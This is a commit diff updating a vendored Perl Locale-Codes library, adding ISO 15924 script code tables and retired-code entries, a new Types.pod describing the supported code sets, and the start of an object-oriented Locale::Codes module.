+      q(0045) => q(Gong),
+      q(0046) => q(Gonm),
+      q(0047) => q(Goth),
+      q(0048) => q(Gran),
+      q(0049) => q(Grek),
+      q(0050) => q(Gujr),
+      q(0051) => q(Guru),
+      q(0052) => q(Hanb),
+      q(0053) => q(Hang),
+      q(0054) => q(Hani),
+      q(0055) => q(Hano),
+      q(0056) => q(Hans),
+      q(0057) => q(Hant),
+      q(0058) => q(Hatr),
+      q(0059) => q(Hebr),
+      q(0060) => q(Hira),
+      q(0061) => q(Hluw),
+      q(0062) => q(Hmng),
+      q(0063) => q(Hmnp),
+      q(0064) => q(Hrkt),
+      q(0065) => q(Hung),
+      q(0066) => q(Inds),
+      q(0067) => q(Ital),
+      q(0068) => q(Jamo),
+      q(0069) => q(Java),
+      q(0070) => q(Jpan),
+      q(0071) => q(Jurc),
+      q(0072) => q(Kali),
+      q(0073) => q(Kana),
+      q(0074) => q(Khar),
+      q(0075) => q(Khmr),
+      q(0076) => q(Khoj),
+      q(0077) => q(Kitl),
+      q(0078) => q(Kits),
+      q(0079) => q(Knda),
+      q(0080) => q(Kore),
+      q(0081) => q(Kpel),
+      q(0082) => q(Kthi),
+      q(0083) => q(Lana),
+      q(0084) => q(Laoo),
+      q(0085) => q(Latf),
+      q(0086) => q(Latg),
+      q(0087) => q(Latn),
+      q(0088) => q(Leke),
+      q(0089) => q(Lepc),
+      q(0090) => q(Limb),
+      q(0091) => q(Lina),
+      q(0092) => q(Linb),
+      q(0093) => q(Lisu),
+      q(0094) => q(Loma),
+      q(0095) => q(Lyci),
+      q(0096) => q(Lydi),
+      q(0097) => q(Mahj),
+      q(0098) => q(Maka),
+      q(0099) => q(Mand),
+      q(0100) => q(Mani),
+      q(0101) => q(Marc),
+      q(0102) => q(Maya),
+      q(0103) => q(Medf),
+      q(0104) => q(Mend),
+      q(0105) => q(Merc),
+      q(0106) => q(Mero),
+      q(0107) => q(Mlym),
+      q(0108) => q(Modi),
+      q(0109) => q(Mong),
+      q(0110) => q(Moon),
+      q(0111) => q(Mroo),
+      q(0112) => q(Mtei),
+      q(0113) => q(Mult),
+      q(0114) => q(Mymr),
+      q(0115) => q(Narb),
+      q(0116) => q(Nbat),
+      q(0117) => q(Newa),
+      q(0118) => q(Nkdb),
+      q(0119) => q(Nkgb),
+      q(0120) => q(Nkoo),
+      q(0121) => q(Nshu),
+      q(0122) => q(Ogam),
+      q(0123) => q(Olck),
+      q(0124) => q(Orkh),
+      q(0125) => q(Orya),
+      q(0126) => q(Osge),
+      q(0127) => q(Osma),
+      q(0128) => q(Palm),
+      q(0129) => q(Pauc),
+      q(0130) => q(Perm),
+      q(0131) => q(Phag),
+      q(0132) => q(Phli),
+      q(0133) => q(Phlp),
+      q(0134) => q(Phlv),
+      q(0135) => q(Phnx),
+      q(0136) => q(Plrd),
+      q(0137) => q(Piqd),
+      q(0138) => q(Prti),
+      q(0139) => q(Qaaa),
+      q(0140) => q(Qabx),
+      q(0141) => q(Rjng),
+      q(0142) => q(Rohg),
+      q(0143) => q(Roro),
+      q(0144) => q(Runr),
+      q(0145) => q(Samr),
+      q(0146) => q(Sara),
+      q(0147) => q(Sarb),
+      q(0148) => q(Saur),
+      q(0149) => q(Sgnw),
+      q(0150) => q(Shaw),
+      q(0151) => q(Shrd),
+      q(0152) => q(Shui),
+      q(0153) => q(Sidd),
+      q(0154) => q(Sind),
+      q(0155) => q(Sinh),
+      q(0156) => q(Sogd),
+      q(0157) => q(Sogo),
+      q(0158) => q(Sora),
+      q(0159) => q(Soyo),
+      q(0160) => q(Sund),
+      q(0161) => q(Sylo),
+      q(0162) => q(Syrc),
+      q(0163) => q(Syre),
+      q(0164) => q(Syrj),
+      q(0165) => q(Syrn),
+      q(0166) => q(Tagb),
+      q(0167) => q(Takr),
+      q(0168) => q(Tale),
+      q(0169) => q(Talu),
+      q(0170) => q(Taml),
+      q(0171) => q(Tang),
+      q(0172) => q(Tavt),
+      q(0173) => q(Telu),
+      q(0174) => q(Teng),
+      q(0175) => q(Tfng),
+      q(0176) => q(Tglg),
+      q(0177) => q(Thaa),
+      q(0178) => q(Thai),
+      q(0179) => q(Tibt),
+      q(0180) => q(Tirh),
+      q(0181) => q(Ugar),
+      q(0182) => q(Vaii),
+      q(0183) => q(Visp),
+      q(0184) => q(Wara),
+      q(0185) => q(Wcho),
+      q(0186) => q(Wole),
+      q(0187) => q(Xpeo),
+      q(0188) => q(Xsux),
+      q(0189) => q(Yiii),
+      q(0190) => q(Zanb),
+      q(0191) => q(Zinh),
+      q(0192) => q(Zmth),
+      q(0193) => q(Zsye),
+      q(0194) => q(Zsym),
       },
    q(num) => {
       q(0001) => q(166),
@@ -3334,157 +3634,172 @@
       q(0026) => q(445),
       q(0027) => q(291),
       q(0028) => q(204),
-      q(0029) => q(403),
-      q(0030) => q(220),
-      q(0031) => q(221),
-      q(0032) => q(315),
-      q(0033) => q(250),
-      q(0034) => q(755),
-      q(0035) => q(070),
-      q(0036) => q(060),
-      q(0037) => q(050),
-      q(0038) => q(226),
-      q(0039) => q(430),
-      q(0040) => q(241),
-      q(0041) => q(240),
-      q(0042) => q(225),
-      q(0043) => q(206),
-      q(0044) => q(343),
-      q(0045) => q(200),
-      q(0046) => q(320),
-      q(0047) => q(310),
-      q(0048) => q(503),
-      q(0049) => q(286),
-      q(0050) => q(500),
-      q(0051) => q(371),
-      q(0052) => q(501),
-      q(0053) => q(502),
-      q(0054) => q(127),
-      q(0055) => q(125),
-      q(0056) => q(410),
-      q(0057) => q(080),
-      q(0058) => q(450),
-      q(0059) => q(412),
-      q(0060) => q(176),
-      q(0061) => q(610),
-      q(0062) => q(210),
-      q(0063) => q(284),
-      q(0064) => q(361),
-      q(0065) => q(413),
-      q(0066) => q(510),
-      q(0067) => q(357),
-      q(0068) => q(411),
-      q(0069) => q(305),
-      q(0070) => q(355),
-      q(0071) => q(322),
-      q(0072) => q(505),
-      q(0073) => q(288),
-      q(0074) => q(345),
-      q(0075) => q(287),
-      q(0076) => q(436),
-      q(0077) => q(317),
-      q(0078) => q(351),
-      q(0079) => q(356),
-      q(0080) => q(217),
-      q(0081) => q(216),
-      q(0082) => q(215),
-      q(0083) => q(364),
-      q(0084) => q(335),
-      q(0085) => q(336),
-      q(0086) => q(400),
-      q(0087) => q(401),
-      q(0088) => q(399),
-      q(0089) => q(437),
-      q(0090) => q(202),
-      q(0091) => q(116),
-      q(0092) => q(314),
-      q(0093) => q(140),
-      q(0094) => q(139),
-      q(0095) => q(332),
-      q(0096) => q(090),
-      q(0097) => q(438),
-      q(0098) => q(101),
-      q(0099) => q(100),
-      q(0100) => q(347),
-      q(0101) => q(324),
-      q(0102) => q(145),
-      q(0103) => q(218),
-      q(0104) => q(199),
-      q(0105) => q(337),
-      q(0106) => q(323),
-      q(0107) => q(350),
-      q(0108) => q(106),
-      q(0109) => q(159),
-      q(0110) => q(333),
-      q(0111) => q(420),
-      q(0112) => q(165),
-      q(0113) => q(499),
-      q(0114) => q(212),
-      q(0115) => q(261),
-      q(0116) => q(175),
-      q(0117) => q(327),
-      q(0118) => q(219),
-      q(0119) => q(260),
-      q(0120) => q(126),
-      q(0121) => q(263),
-      q(0122) => q(227),
-      q(0123) => q(331),
-      q(0124) => q(131),
-      q(0125) => q(132),
-      q(0126) => q(133),
-      q(0127) => q(115),
-      q(0128) => q(282),
-      q(0129) => q(293),
-      q(0130) => q(130),
-      q(0131) => q(900),
-      q(0132) => q(949),
-      q(0133) => q(363),
-      q(0134) => q(620),
-      q(0135) => q(211),
-      q(0136) => q(123),
-      q(0137) => q(292),
-      q(0138) => q(105),
-      q(0139) => q(344),
-      q(0140) => q(095),
-      q(0141) => q(281),
-      q(0142) => q(319),
-      q(0143) => q(302),
-      q(0144) => q(318),
-      q(0145) => q(348),
-      q(0146) => q(398),
-      q(0147) => q(362),
-      q(0148) => q(316),
-      q(0149) => q(135),
-      q(0150) => q(138),
-      q(0151) => q(137),
-      q(0152) => q(136),
-      q(0153) => q(373),
-      q(0154) => q(321),
-      q(0155) => q(353),
-      q(0156) => q(354),
-      q(0157) => q(346),
-      q(0158) => q(520),
-      q(0159) => q(359),
-      q(0160) => q(340),
-      q(0161) => q(290),
-      q(0162) => q(120),
-      q(0163) => q(370),
-      q(0164) => q(170),
-      q(0165) => q(352),
-      q(0166) => q(330),
-      q(0167) => q(326),
-      q(0168) => q(040),
-      q(0169) => q(470),
-      q(0170) => q(280),
-      q(0171) => q(262),
-      q(0172) => q(480),
-      q(0173) => q(030),
-      q(0174) => q(020),
-      q(0175) => q(460),
-      q(0176) => q(994),
-      q(0177) => q(995),
-      q(0178) => q(993),
-      q(0179) => q(996),
+      q(0029) => q(402),
+      q(0030) => q(403),
+      q(0031) => q(220),
+      q(0032) => q(221),
+      q(0033) => q(315),
+      q(0034) => q(328),
+      q(0035) => q(250),
+      q(0036) => q(755),
+      q(0037) => q(070),
+      q(0038) => q(060),
+      q(0039) => q(050),
+      q(0040) => q(226),
+      q(0041) => q(430),
+      q(0042) => q(241),
+      q(0043) => q(240),
+      q(0044) => q(225),
+      q(0045) => q(312),
+      q(0046) => q(313),
+      q(0047) => q(206),
+      q(0048) => q(343),
+      q(0049) => q(200),
+      q(0050) => q(320),
+      q(0051) => q(310),
+      q(0052) => q(503),
+      q(0053) => q(286),
+      q(0054) => q(500),
+      q(0055) => q(371),
+      q(0056) => q(501),
+      q(0057) => q(502),
+      q(0058) => q(127),
+      q(0059) => q(125),
+      q(0060) => q(410),
+      q(0061) => q(080),
+      q(0062) => q(450),
+      q(0063) => q(451),
+      q(0064) => q(412),
+      q(0065) => q(176),
+      q(0066) => q(610),
+      q(0067) => q(210),
+      q(0068) => q(284),
+      q(0069) => q(361),
+      q(0070) => q(413),
+      q(0071) => q(510),
+      q(0072) => q(357),
+      q(0073) => q(411),
+      q(0074) => q(305),
+      q(0075) => q(355),
+      q(0076) => q(322),
+      q(0077) => q(505),
+      q(0078) => q(288),
+      q(0079) => q(345),
+      q(0080) => q(287),
+      q(0081) => q(436),
+      q(0082) => q(317),
+      q(0083) => q(351),
+      q(0084) => q(356),
+      q(0085) => q(217),
+      q(0086) => q(216),
+      q(0087) => q(215),
+      q(0088) => q(364),
+      q(0089) => q(335),
+      q(0090) => q(336),
+      q(0091) => q(400),
+      q(0092) => q(401),
+      q(0093) => q(399),
+      q(0094) => q(437),
+      q(0095) => q(202),
+      q(0096) => q(116),
+      q(0097) => q(314),
+      q(0098) => q(366),
+      q(0099) => q(140),
+      q(0100) => q(139),
+      q(0101) => q(332),
+      q(0102) => q(090),
+      q(0103) => q(265),
+      q(0104) => q(438),
+      q(0105) => q(101),
+      q(0106) => q(100),
+      q(0107) => q(347),
+      q(0108) => q(324),
+      q(0109) => q(145),
+      q(0110) => q(218),
+      q(0111) => q(264),
+      q(0112) => q(337),
+      q(0113) => q(323),
+      q(0114) => q(350),
+      q(0115) => q(106),
+      q(0116) => q(159),
+      q(0117) => q(333),
+      q(0118) => q(085),
+      q(0119) => q(420),
+      q(0120) => q(165),
+      q(0121) => q(499),
+      q(0122) => q(212),
+      q(0123) => q(261),
+      q(0124) => q(175),
+      q(0125) => q(327),
+      q(0126) => q(219),
+      q(0127) => q(260),
+      q(0128) => q(126),
+      q(0129) => q(263),
+      q(0130) => q(227),
+      q(0131) => q(331),
+      q(0132) => q(131),
+      q(0133) => q(132),
+      q(0134) => q(133),
+      q(0135) => q(115),
+      q(0136) => q(282),
+      q(0137) => q(293),
+      q(0138) => q(130),
+      q(0139) => q(900),
+      q(0140) => q(949),
+      q(0141) => q(363),
+      q(0142) => q(167),
+      q(0143) => q(620),
+      q(0144) => q(211),
+      q(0145) => q(123),
+      q(0146) => q(292),
+      q(0147) => q(105),
+      q(0148) => q(344),
+      q(0149) => q(095),
+      q(0150) => q(281),
+      q(0151) => q(319),
+      q(0152) => q(530),
+      q(0153) => q(302),
+      q(0154) => q(318),
+      q(0155) => q(348),
+      q(0156) => q(141),
+      q(0157) => q(142),
+      q(0158) => q(398),
+      q(0159) => q(329),
+      q(0160) => q(362),
+      q(0161) => q(316),
+      q(0162) => q(135),
+      q(0163) => q(138),
+      q(0164) => q(137),
+      q(0165) => q(136),
+      q(0166) => q(373),
+      q(0167) => q(321),
+      q(0168) => q(353),
+      q(0169) => q(354),
+      q(0170) => q(346),
+      q(0171) => q(520),
+      q(0172) => q(359),
+      q(0173) => q(340),
+      q(0174) => q(290),
+      q(0175) => q(120),
+      q(0176) => q(370),
+      q(0177) => q(170),
+      q(0178) => q(352),
+      q(0179) => q(330),
+      q(0180) => q(326),
+      q(0181) => q(040),
+      q(0182) => q(470),
+      q(0183) => q(280),
+      q(0184) => q(262),
+      q(0185) => q(283),
+      q(0186) => q(480),
+      q(0187) => q(030),
+      q(0188) => q(020),
+      q(0189) => q(460),
+      q(0190) => q(339),
+      q(0191) => q(994),
+      q(0192) => q(995),
+      q(0193) => q(993),
+      q(0194) => q(996),
       },
 };
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Nov 18 09:22:54 EST 2016
+#    Generated on: Fri Feb 23 12:58:17 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'script'}{'alpha'}{'code'} = {
 };
@@ -24,6 +24,7 @@
    q((alias for hiragana + katakana)) => [ q(Hrkt), q((alias for Hiragana + Katakana)) ],
    q(ahom, tai ahom) => [ q(Ahom), q(Ahom, Tai Ahom) ],
    q(cuneiform, sumero-akkadian) => [ q(Xsux), q(Cuneiform, Sumero-Akkadian) ],
+   q(cypriot) => [ q(Cprt), q(Cypriot) ],
    q(deseret (mormon)) => [ q(Dsrt), q(Deseret (Mormon)) ],
    q(devanagari (nagari)) => [ q(Deva), q(Devanagari (Nagari)) ],
    q(duployan shorthand, duployan stenography) => [ q(Dupl), q(Duployan shorthand, Duployan stenography) ],
@@ -43,6 +44,7 @@
    q(moon (moon code, moon script, moon type)) => [ q(Moon), q(Moon (Moon code, Moon script, Moon type)) ],
    q(mro, mru) => [ q(Mroo), q(Mro, Mru) ],
    q(myanmar (burmese)) => [ q(Mymr), q(Myanmar (Burmese)) ],
+   q(nakhi geba) => [ q(Nkgb), q(Nakhi Geba) ],
    q(nakhi geba ('na-'khi ggo-baw, naxi geba)) => [ q(Nkgb), q(Nakhi Geba ('Na-'Khi Ggo-baw, Naxi Geba)) ],
    q(ol chiki (ol cemet, ol, santali)) => [ q(Olck), q(Ol Chiki (Ol Cemet, Ol, Santali)) ],
    q(old north arabian (ancient north arabian)) => [ q(Narb), q(Old North Arabian (Ancient North Arabian)) ],
@@ -62,7 +64,9 @@
 
 $Locale::Codes::Retired{'script'}{'num'}{'name'} = {
    q( multani) => [ q(323), q( Multani) ],
+   q(cypriot) => [ q(403), q(Cypriot) ],
    q(mende) => [ q(438), q(Mende) ],
+   q(nakhi geba ('na-'khi ggo-baw, naxi geba)) => [ q(420), q(Nakhi Geba ('Na-'Khi Ggo-baw, Naxi Geba)) ],
    q(old hungarian) => [ q(176), q(Old Hungarian) ],
    q(tiruta) => [ q(326), q(Tiruta) ],
 };

Added: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Types.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Types.pod	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Types.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,414 @@
+=pod
+
+=head1 NAME
+
+Locale::Codes::Types - types of data sets supported
+
+=head1 DESCRIPTION
+
+This document contains a description of different types of code sets
+supported by the B<Locale-Codes> distribution.
+
+The following types are supported:
+
+=over 4
+
+=item L</"country">
+
+=item L</"language">
+
+=item L</"currency">
+
+=item L</"script">
+
+=item L</"langfam">
+
+=item L</"langvar">
+
+=item L</"langext">
+
+=back
+
+Any time you have to specify the type of data, use one of the values from
+this list.  When using the OO interface, you have to specify the type of
+data you are working with.  For example:
+
+   use Locale::Codes;
+   ...
+   $obj->type('country');
+   $obj->type('langext');
+
+When using the traditional interfaces, the functions all have the data type
+included in the function name.  For example:
+
+   use Locale::Codes::Country;
+   code2country(...);
+
+   use Locale::Codes::LangExt;
+   code2langext(...);
+
+Each type of data may have any number of code sets.  Code sets may be
+specified by name.  Traditionally, a perl constant was exported and could
+also be used to specify the code set.
+
+Both methods are available for both the OO and traditional interfaces, so
+whenever a function or method takes an argument specifying a code set, either
+the name or a constant can be used.
+
+In the lists below, a code set is specified in the list by including the
+name and the constant.  So, for example, the first country code set is
+named C<'alpha-2'> and has a perl constant C<LOCALE_COUNTRY_ALPHA_2>
+associated with it.  When using the OO interface, the constants are only
+available if you import them by loading the module with:
+
+   use Locale::Codes ':constants';
+
+The constants are always available when using the traditional interfaces.
+
+Some of the older perl constants names were not consistent, and in those
+cases, two constants are available (a newer consistent name and the older
+inconsistent one).  Either may be used.
+
+The default code set for each type is marked with an asterisk (*).
+
+=head1 country
+
+Code sets for identifying countries are maintained by several different
+agencies and standards.
+
+The following code sets are maintained in the ISO 3166 standard.
+The official home page for the ISO 3166 maintenance agency is:
+L<http://www.iso.org/iso/home/standards/country_codes.htm> .
+
+Only the officially assigned codes are included.
+
+=over 4
+
+=item B<* alpha-2, LOCALE_COUNTRY_ALPHA_2, LOCALE_CODE_ALPHA_2>
+
+This is the set of two-letter (lowercase) codes from ISO 3166-1, such
+as 'tv' for Tuvalu.
+
+=item B<alpha-3, LOCALE_COUNTRY_ALPHA_3, LOCALE_CODE_ALPHA_3>
+
+This is the set of three-letter (lowercase) codes from ISO 3166-1,
+such as 'brb' for Barbados. These codes are actually defined and
+maintained by the U.N. Statistics division.
+
+=item B<numeric, LOCALE_COUNTRY_NUMERIC, LOCALE_CODE_NUMERIC>
+
+This is the set of three-digit numeric codes from ISO 3166-1, such as
+064 for Bhutan.
+
+If a 2-digit code is entered, it is converted to 3 digits by prepending
+a 0.
+
+=back
+
+A list of domain names are maintained by the IANA (Internet Assigned
+Numbers Authority).  These are available at:
+L<http://www.iana.org/domains/root/db/> .  Only the actual country
+codes are used, and the country names come from ISO 3166.
+
+=over 4
+
+=item B<dom, LOCALE_COUNTRY_DOM, LOCALE_CODE_DOM>
+
+The country domains assigned by IANA are usually the two-letter
+(lowercase) codes from ISO 3166, but there are a few other additions.
+
+=back
+
+The United Nations also maintains country lists.  Their list is also
+similar, but not identical, to the ISO 3166 list.
+
+The data is available here:
+L<https://unstats.un.org/unsd/methodology/m49/>
+
+Previously, this table was treated as a source of the ISO 3166 data,
+but I found that the table was incomplete, so I stopped using it.
+Later, it was added back in as it's own list of codes.
+
+=over 4
+
+=item B<un-alpha-3, LOCALE_COUNTRY_UN_ALPHA_3, LOCALE_CODE_UN_ALPHA_3>
+
+This is similar to the 'alpha-3' set from ISO 3166, except that the
+codes are uppercase.
+
+=item B<un-numeric, LOCALE_COUNTRY_UN_NUMERIC, LOCALE_CODE_UN_NUMERIC>
+
+This is similar to the 'numeric' set from ISO 3166.
+
+=back
+
+The US Government also keeps a list of codes.  Originally, it maintained
+the FIPS-11 code set, but this was deprecated and replaced by the GENC code
+set.  The FIPS-11 code sets are no longer supported by B<Locale-Codes>.
+
+The GENC code sets are available here:
+L<https://nsgreg.nga.mil/genc/discovery> .  They are also similar, but
+not identical, to the ISO 3166 code sets.
+
+=over 4
+
+=item B<genc-alpha-2, LOCALE_COUNTRY_GENC_ALPHA_2, LOCALE_CODE_GENC_ALPHA_2>
+
+Similar to the 'alpha-2' set, but uppercase.
+
+=item B<genc-alpha-3, LOCALE_COUNTRY_GENC_ALPHA_3, LOCALE_CODE_GENC_ALPHA_3>
+
+Similar to the 'alpha-3' set, but uppercase.
+
+=item B<genc-numeric, LOCALE_COUNTRY_GENC_NUMERIC, LOCALE_CODE_GENC_NUMERIC>
+
+Similar to the 'numeric' set.
+
+=back
+
+There are other sources of codes that are not currently used in this
+distribution.
+
+ISO codes for country sub-divisions (states, counties, provinces,
+etc), as defined in ISO 3166-2.  This module is not part of the
+Locale-Codes distribution, but is available from CPAN in
+CPAN/modules/by-module/Locale/
+
+The World Factbook maintained by the CIA is a potential source of
+the data.  Unfortunately, it adds/preserves non-standard codes, so it is
+not used as a source of data.
+L<https://www.cia.gov/library/publications/the-world-factbook/appendix/print_appendix-d.html>
+
+Another unofficial source of data is the Statoids web site:
+L<http://www.statoids.com/wab.html> . Currently, it is not used to get
+data, but the notes and explanatory material were very useful for
+understanding discrepancies between the sources.
+
+=head1 language
+
+Code sets for identifying languages come from a couple different locations.
+
+The primary source is ISO 639 .  The ISO 639-2 codes are available here:
+L<http://www.loc.gov/standards/iso639-2/>
+and the ISO 639-5 codes are available here:
+L<http://www.loc.gov/standards/iso639-5/> .
+
+In addition, the IANA maintains a language registry which are added to the ISO
+lists.  Because it is intended to supplement the ISO standard, the IANA list is
+not separate.
+
+The IANA data is available here:
+L<http://www.iana.org/assignments/language-subtag-registry>
+
+The code sets are:
+
+=over 4
+
+=item B<* alpha-2, LOCALE_LANGUAGE_ALPHA_2, LOCALE_LANG_ALPHA_2>
+
+This is the set of two-letter (lowercase) codes from ISO 639-1, such
+as 'he' for Hebrew.  It also includes additions to this set included
+in the IANA language registry.
+
+=item B<alpha-3, LOCALE_LANGUAGE_ALPHA_3, LOCALE_LANG_ALPHA_3>
+
+This is the set of three-letter (lowercase) bibliographic codes from
+ISO 639-2 and 639-5, such as 'heb' for Hebrew.  It also includes
+additions to this set included in the IANA language registry.
+
+=item B<term, LOCALE_LANGUAGE_TERM, LOCALE_LANG_TERM>
+
+This is the set of three-letter (lowercase) terminologic codes from
+ISO 639.
+
+=back
+
+=head1 currency
+
+The source of currency codes is the ISO 4217 data available here:
+L<http://www.iso.org/iso/support/currency_codes_list-1.htm>
+
+The code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_CURRENCY_ALPHA, LOCALE_CURR_ALPHA>
+
+This is a set of three-letter (uppercase) codes from ISO 4217 such
+as EUR for Euro.
+
+Two of the codes specified by the standard (XTS which is reserved
+for testing purposes and XXX which is for transactions where no
+currency is involved) are omitted.
+
+=item B<num, LOCALE_CURRENCY_NUMERIC, LOCALE_CURR_NUMERIC>
+
+This is the set of three-digit numeric codes from ISO 4217.
+
+=back
+
+=head1 script
+
+The source of script code sets is ISO 15924 available here:
+L<http://www.unicode.org/iso15924/>
+
+Additional data comes from the IANA language subtag registry:
+L<http://www.iana.org/assignments/language-subtag-registry> .
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_SCRIPT_ALPHA>
+
+This is a set of four-letter (capitalized) codes from ISO 15924
+such as 'Phnx' for Phoenician.  It also includes additions to this
+set included in the IANA language registry.
+
+The Zxxx, Zyyy, and Zzzz codes are not used.
+
+=item B<num, LOCALE_SCRIPT_NUMERIC>
+
+This is a set of three-digit numeric codes from ISO 15924 such as 115
+for Phoenician.
+
+=back
+
+=head1 langfam
+
+Language families are specified using codes from ISO 639-5 available here:
+L<http://www.loc.gov/standards/iso639-5/id.php>
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_LANGFAM_ALPHA>
+
+This is the set of three-letter (lowercase) codes from ISO 639-5
+such as 'apa' for Apache languages.
+
+=back
+
+=head1 langvar
+
+Language variations are specified using codes from he IANA language
+subtag registry available here:
+L<http://www.iana.org/assignments/language-subtag-registry>
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_LANGVAR_ALPHA>
+
+This is the set of alphanumeric codes from the IANA
+language registry, such as 'arevela' for Eastern Armenian.
+
+=back
+
+=head1 langext
+
+Language extensions are specified using codes from he IANA language
+subtag registry available here:
+L<http://www.iana.org/assignments/language-subtag-registry>
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_LANGEXT_ALPHA>
+
+This is the set of three-letter (lowercase) codes from the IANA
+language registry, such as 'acm' for Mesopotamian Arabic.
+
+=back
+
+=head1 NEW CODE SETS
+
+I'm always open to suggestions for new code sets.
+
+In order for me to add a code set, I want the following criteria
+to be met:
+
+=over 4
+
+=item B<General-use code set>
+
+If a code set is not general use, I'm not likely to spend the time
+to add and support it.
+
+=item B<An official source of data>
+
+I require an official (or at least, a NEARLY official) source where I
+can get the data on a regular basis.
+
+Ideally, I'd only get data from an official source, but sometimes that
+is not possible. For example the ISO standards are not typically
+available for free, so I may have to get some of that data from
+alternate sources that I'm confident are getting their data from the
+official source.  However, I will always be hesitant to accept a
+non-official source.
+
+As an example, I used to get some country data from the CIA World
+Factbook. Given the nature of the source, I'm sure they're updating
+data from the official sources and I consider it "nearly" official.
+However, even in this case, I found that they were adding codes that
+were not part of the standard, so I have stopped using them as a
+source.
+
+There are many 3rd party sites which maintain lists (many of which are
+actually in a more convenient form than the official sites).
+Unfortunately, I will reject most of them since I have no feel for how
+"official" they are.
+
+=item B<A free source of the data>
+
+Obviously, the data must be free-of-charge. I'm not interested in
+paying for the data (and I'm not interested in the overhead of having
+someone else pay for the data for me).
+
+=item B<A reliable source of data>
+
+The source of data must come from a source that I can reasonably expect
+to exist for the foreseeable future since I will be extremely reluctant
+to drop support for a data set once it's included.
+
+I am also reluctant to accept data sent to me by an individual.
+Although I appreciate the offer, it is simply not practical to consider
+an individual contribution as a reliable source of data. The source
+should be an official agency of some sort.
+
+=back
+
+These requirements are open to discussion. If you have a code set
+you'd like to see added, but which may not meet all of the above
+requirements, feel free to email me and we'll discuss it.  Depending
+on circumstances, I may be willing to waive some of these criteria.
+
+=head1 SEE ALSO
+
+=over 4
+
+=item L<Locale::Codes>
+
+The Locale-Codes distribution.
+
+=back
+
+=head1 AUTHOR
+
+See Locale::Codes for full author history.
+
+Currently maintained by Sullivan Beck (sbeck at cpan.org).
+
+=head1 COPYRIGHT
+
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2018 Sullivan Beck
+
+This module is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=cut

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,26 +1,36 @@
 package Locale::Codes;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+###############################################################################
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
 
 use Carp;
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes::Constants;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
+our($VERSION);
+$VERSION='3.56';
 
-# This module is not called directly... %Data is filled in by the
-# calling modules.
+use Exporter qw(import);
+our(@EXPORT_OK,%EXPORT_TAGS);
+ at EXPORT_OK   = @Locale::Codes::Constants::CONSTANTS;
+%EXPORT_TAGS = ( 'constants' => [ @EXPORT_OK ] );
 
-our($VERSION,%Data,%Retired);
+###############################################################################
+# GLOBAL DATA
+###############################################################################
+# All of the data is stored in a couple global variables.  They are filled
+# in by requiring the appropriate TYPE_Codes and TYPE_Retired modules.
 
+our(%Data,%Retired);
+
 # $Data{ TYPE }{ code2id   }{ CODESET } { CODE }  = [ ID, I ]
 #              { id2code   }{ CODESET } { ID }    = CODE
 #              { id2names  }{ ID }                = [ NAME, NAME, ... ]
@@ -31,27 +41,122 @@
 # $Retired{ TYPE }{ CODESET }{ code }{ CODE } = NAME
 #                            { name }{ NAME } = [CODE,NAME]  (the key is lowercase)
 
-$VERSION='3.42';
+###############################################################################
+# METHODS
+###############################################################################
 
-#=======================================================================
+sub new {
+   my($class,$type,$codeset,$show_errors) = @_;
+   my $self         = { 'type'     => '',
+                        'codeset'  => '',
+                        'err'      => (defined($show_errors) ? $show_errors : 1),
+                      };
+
+   bless $self,$class;
+
+   $self->type($type)        if ($type);
+   $self->codeset($codeset)  if ($codeset);
+   return $self;
+}
+
+sub show_errors {
+   my($self,$val) = @_;
+   $$self{'err'}  = $val;
+}
+
+sub type {
+   my($self,$type) = @_;
+
+   if (! exists $ALL_CODESETS{$type}) {
+      # uncoverable branch false
+      carp "ERROR: type: invalid argument: $type\n"  if ($$self{'err'});
+      return;
+   }
+
+   # uncoverable branch false
+   if (! $ALL_CODESETS{$type}{'loaded'}) {
+      my $label = $ALL_CODESETS{$type}{'module'};
+      eval "require Locale::Codes::${label}_Codes";
+      # uncoverable branch true
+      if ($@) {
+         # uncoverable statement
+         croak "ERROR: type: unable to load module: ${label}_Codes\n";
+      }
+      eval "require Locale::Codes::${label}_Retired";
+      # uncoverable branch true
+      if ($@) {
+         # uncoverable statement
+         croak "ERROR: type: unable to load module: ${label}_Retired\n";
+      }
+      $ALL_CODESETS{$type}{'loaded'} = 1;
+   }
+
+   $$self{'type'}    = $type;
+   $$self{'codeset'} = $ALL_CODESETS{$type}{'default'};
+}
